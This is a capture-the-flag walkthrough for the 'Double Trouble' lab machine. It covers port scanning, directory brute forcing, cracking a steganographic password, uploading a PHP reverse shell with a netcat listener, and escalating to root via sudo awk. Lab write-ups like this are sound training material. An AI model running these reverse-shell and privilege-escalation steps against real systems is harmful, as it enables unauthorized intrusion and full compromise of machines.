Walkthrough: Double Trouble

Scanning & Enumeration

First, identify the target IP. In this case, it is 192.168.1.73. We run an aggressive Nmap scan:

nmap -sV -A -Pn 192.168.1.73 -oN nmap.output

The scan reveals ports 22 (SSH) and 80 (HTTP) are open.

Information Gathering

Exploring port 80, we find a login page. We'll run a directory brute force using Gobuster:

gobuster dir -u http://192.168.1.73/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

We discover a /secret directory. Navigating there reveals an image: doubletrouble.jpg.

Breaking Secrets (Steganography)

We download the image and use StegCracker to see if there is hidden data:

wget http://192.168.1.73/secret/doubletrouble.jpg stegcracker doubletrouble.jpg /usr/share/wordlists/rockyou.txt

StegCracker finds the password: 92camaro. Extracting the data gives us credentials:

Exploitation

Login with the found credentials and upload a PHP reverse shell. Set up a listener on your Kali machine:

nc -nlvp 1234

Once the shell is uploaded, trigger it by navigating to the file in the /uploads/users/ directory. Stabilize your shell with Python:

python3 -c 'import pty;pty.spawn("/bin/bash")' # Then press Ctrl+Z and type: stty raw -echo; fg

Privilege Escalation

Checking sudo permissions with sudo -l reveals that the user can run awk as root:

sudo awk 'BEGIN {system("/bin/sh")}'

Success! You are now root.